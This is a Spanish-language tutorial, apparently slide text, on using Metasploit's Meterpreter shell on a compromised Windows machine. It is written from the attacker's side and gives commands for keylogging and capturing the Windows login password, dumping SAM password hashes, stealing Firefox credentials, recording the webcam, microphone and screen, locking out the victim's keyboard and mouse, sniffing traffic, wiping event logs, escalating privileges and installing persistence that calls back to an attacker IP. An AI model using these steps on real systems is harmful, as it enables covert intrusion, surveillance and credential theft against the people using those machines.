INTRODUCCIN A METERPRETER
Meterpreter Metrpreter es el intrprete de comandos de metasploit, una vez que hemos conseguido una Shell remota en el equipo podemos utilizar este intrprete para realizar algunas tareas en el equipo atacado, a continuacin se explican algunos fundamentos de funcionamiento de Meterpreter
Sesiones en Metasploit En Metasploit es posible tener varias sesiones de meterpreter ejecucin simultneamente, para listar todas las existentes podemos utilizar: sessions l Esto nos mostrar todas las que se encuentran abiertas ordenadas en funcin de un Id, para recuperar una en concreto basta con: sessions -i <Id de la sesin> en
Una vez hayamos acabado de trabajar con una sesin podemos cerrarla, para realizar esta tarea hay dos posibilidades: Si estamos dentro de una sesin: quit Sino estamos dentro de ninguna sesin: sessions -k <Id de la sesin>
Existen ms posibles parmetros para el comando sessions, basta usar el flag -h para verlos.
INTRODUCCIN A METERPRETER
Enviar una sesin a segundo plano Por determinados motivos puede ser necesario mandar la sesin actual de meterpreter a un segundo plano para realizar otras tareas con Metasploit, para esto existe el comando: Background
Ayuda Tanto si estamos en Metasploit como dentro de una sesin meterpreter existe una orden que nos mostrar los posibles comandos a ejecutar: ?
Trabajando con procesos Meterpreter pone en la mano del atacante la posibilidad de cambiar su PID, es decir migrar a otro identificador de proceso distinto. Esta tarea la realiza gracias al comando migrate: migrate <numero de proceso>
INTRODUCCIN A METERPRETER
Pero, cmo sabemos a qu proceso migrar o cmo podemos ver los procesos que estn en ejecucin? la respuesta nos la da la orden ps que nos mostrar el listado de proceso: ps
Si queremos comprobar el identificador de proceso actual de meterpreter (por ejemplo si acabamos de migrar a otro proceso y queremos comprobar que lo ha realizado correctamente) existe la orden getpid: getpid
Directorios y ficheros Para ver el directorio actual en el que nos encontramos (en la mquina de la vctima) tenemos getwd: getwd
Tambin es posible listar los elementos existentes en el directorio mediante el comando ls: ls
INTRODUCCIN A METERPRETER
Meterpreter permite editar ficheros del equipo de la vctima mediante el gran editor vi, para ello utilizaremos edit: edit <nombre del fichero>
Si en cambio solo queremos ver el contenido de fichero cat es nuestra eleccin: cat <nombre del fichero>
INTRODUCCIN A METERPRETER
En ocasiones es muy probable que el atacante quiera descargar informacin de la vctima o subir algn archivo al sistema de sta, para ello existen las ordenes download y upload respectivamente que permiten realizar estas tareas:
Informacin de sistema Para ver el usuario con el que hemos accedido al equipo, podemos utilizar getuid: getuid
Si en cambio queremos conocer informacin del sistema que hemos "invadido" (como atacantes), podemos utilizar sysinfo: sysinfo
INTRODUCCIN A METERPRETER
Redes Meterpreter permite obtener informacin de la tarjeta de red de la vctima como si nos encontrsemos en ese mismo ordenador, para ello existen varios comandos que veremos a continuacin. Para ver las tarjetas de red del equipo podemos utilizar ipconfig: ipconfig
Tambin tenemos a nuestra disposicin otros comandos muy tiles como arp y route: arp
route
INTRODUCCIN A METERPRETER
Utilizando el keylogger Existen unas herramientas conocidas como keyloggers que permiten detectar las pulsaciones del teclado del ordenador. Meterpreter tiene el suyo propio y lo utilizaremos con keyscan. Existen tres comandos con keyscan, uno para iniciar, otro para finalizar y otro para volcar en pantalla la informacin capturada.
Ver la pantalla de la vctima Antes hemos leer lo que esta escribiendo el atacado, pero, existe la posibilidad de ver lo que est viendo en la pantalla? Screenshot es la utilidad que ofrece meterpreter para hacer capturas de pantalla del ordenador vctima y la forma de utilizarlo es muy simple: screenshot
INTRODUCCIN A METERPRETER
Desactivar el ratn y el teclado Si por algn motivo queremos impedir que el usuario del sistema comprometido utilice el ratn y/o el teclado, existe uictl que permite estas funcionalidades. En el caso del teclado, para deshabilitarlo basta con: uictl disable keyboard para volver a habilitarlo bastar con: uictl enable keyboard En lo que respecta al ratn, para desactivarlo es tan simple como: uictl disable mouse con lo que para activarlo otra vez sera: uictl enable mouse
Obteniendo las claves hash Una vez se ha comprometido el equipo con Metasploit y se posee una sesin de meterpreter, es posible obtener los hash de las claves de los usuarios del sistema contenidos en el archivo SAM (sistema operativo Windows). La forma de obtener estas claves (en formato hash) es con hashdump: hasdump
INTRODUCCIN A METERPRETER
Viendo los privilegios Para ver los privilegios con que contamos en el equipo comprometido podemos utilizar getprivs: getprivs
Limpiar el rastro Por ltimo, antes de "desaparecer" de la maquina atacada conviene limpiar nuestro rastro, para ello contamos con clearev: clearev
Persistencia La orden persistance (antecedida por run) permite a meterpreter anclarse al inicio del sistema e intente establecer conexiones con la mquina atacante cada X tiempo.
INTRODUCCIN A METERPRETER
El siguiente comando permite que al inicio del sistema comprometido y en intervalos de 10 segundos ste intente conectar con la mquina del atacante: run persistance -U -p 31337 -r 192.168.0.108 -i 10 Donde:
-U => Ejecuta meterpreter cuando la vctima accede a su sistema. -p <puerto a la escucha> => El puerto del equipo del atacante en donde se conectar la vctima, es necesario que el atacante tenga un "handler" escuchando en este puerto como vimos en anteriores entregas. -r <IP atacante> => La direccin IP del atacante. -i <segundos> => El intervalo en segundos en el que la vctima intentar establecer conexin con el atacante.
Una vez ejecutado, agrega una entrada de meterpreter al registro de Windows en la seccin de las aplicaciones que arrancan al inicio.
Para probar que funciona, cerramos la sesin de meterpreter y ponemos Metasploit a escuchar el puerto especificado antes (con el handler). En breve (en funcin del intervalo especificado) veremos como la vctima se conecta automticamente.
Es la vctima una mquinavirtual? El siguiente script permite saber si el sistema comprometido es o no una mquina virtual. Para ello basta con: run checkvm
INTRODUCCIN A METERPRETER
Aplicaciones en el equipo comprometido Tambin de forma simple es posible ver las aplicaciones que tiene el equipo comprometido instaladas y su respectiva versin. Esto puede ser muy til a la hora de buscar determinados exploits para, por ejemplo, escalar privilegios. run get_application_list
Obtener las credenciales de Firefox Para obtener jugosa informacin del navegador firefox, existe otro script para hacernos la vida ms fcil. ste se encargar de descargar a nuestro equipo los archivos necesarios para despus analizarlos con comodidad. run post/multi/gather/firefox_creds
Existen gran cantidad de scripts para obtener las credenciales e informacin til de muchos programas incluso en distintas versiones de stos. Su utilizacin es similar a la de Firefox, basta con buscarlos en "post/multi/gather".
INTRODUCCIN A METERPRETER
Variables de entorno Si se requieren las variables de entorno del equipo comprometido, su obtencin es tan rpida como: run get_env
Otro keylogger Meterpreter ya posee su propio keylogger llamado keyscan, pero con el comando run podemos extender las posibilidades de este con esta versin ms potente llamada keylogrecorder. Su utilizacin es muy sencilla: run keylogrecorder
Obteniendo informacin del sistema Otro de los scripts interesantes es scraper que permite obtener informacin muy variada y diversa del equipo comprometido almacenndola en una carpeta de forma ordenada.
INTRODUCCIN A METERPRETER
run scraper
Grabacin de voz Con este ttulo tan romntico os introduzco el script sound_recorder que realizar grabaciones del equipo comprometido utilizando el micrfono de ste (si tiene obviamente xD) y las almacenar en /root/logs/sound_recorder.
El flag -l permite especificar una ruta alternativa para guardar los ficheros.
Controlar el escritorio La siguiente posibilidad es controlar el equipo comprometido usando VNC, as de simple y directo. Basta con:
INTRODUCCIN A METERPRETER
run vnc
Arrancar la webcam Ya solo nos quedaba para terminar de "conocer" a la vctima verla, tan simple como: run webcam
Una vez ejecutado el mdulo meterpreter nos mostrar desde imgenes capturadas por la webcam hasta una sesin en streaming con ella.
Elevando privilegios Para dicha tarea utilizaremos, a modo de ejemplo, una vulnerabilidad en la planificacin de tareas de Windows (MS10-092) que permita elevar privilegios pero que fue corregida hace bastante tiempo.
INTRODUCCIN A METERPRETER
Una vez finalice el proceso, la victima conectara con Metasploit otorgndonos una nueva sesin con los ansiados privilegios. Para comprobar esto, basta con: getprivs
INTRODUCCIN A METERPRETER
Desbloquear la pantalla Como el titulo indica, el siguiente script permite desbloquear la pantalla de Windows.
Dicha tarea es tan simple como: run screen_unlock en el caso de querer revertir los cambios utilizaremos el parmetro -r: run screen_unlock r
INTRODUCCIN A METERPRETER
Ms posibilidades para el keylogger En anteriores entradas hemos visto cmo funcionaban los diversos keyloggers que incorporaba meterpreter, ahora vamos a extender las posibilidades capturando la contrasea de inicio de sesin de Windows, para ello lo primero es comprobar el proceso winlogon.exe y migrar a ste. Con esto ya ser posible obtener la ansiada clave.
Ver clave de licencia o activar escritorio remoto Con privilegios se ponen a nuestra disposicin nuevos scripts que nos ofrecen ms opciones. Ejemplos de esto son listar los usuarios conectados, ver la clave de licencia de Windows o activar el escritorio remoto en el sistema. => Usuarios conectados: run /post/windows/gather/enum_logged_on_users
INTRODUCCIN A METERPRETER
Jugando con sniffers Una de las grandes posibilidades que posee meterpreter es el poder utilizar un sniffer desde el equipo comprometido y obtener el trafico capturado por ste, para ello utilizaremos packetrecorder.
El primer paso para ejecutarlo es conocer las interfaces del equipo vctima, para ello: run packetrecorder -li
INTRODUCCIN A METERPRETER
cada una de estas interfaces es precedida de un numero o identificador que pasaremos como parmetro (flag -i) para escoger la interfaz que capturar el trfico. run packetrecorder -i <identificador interfaz>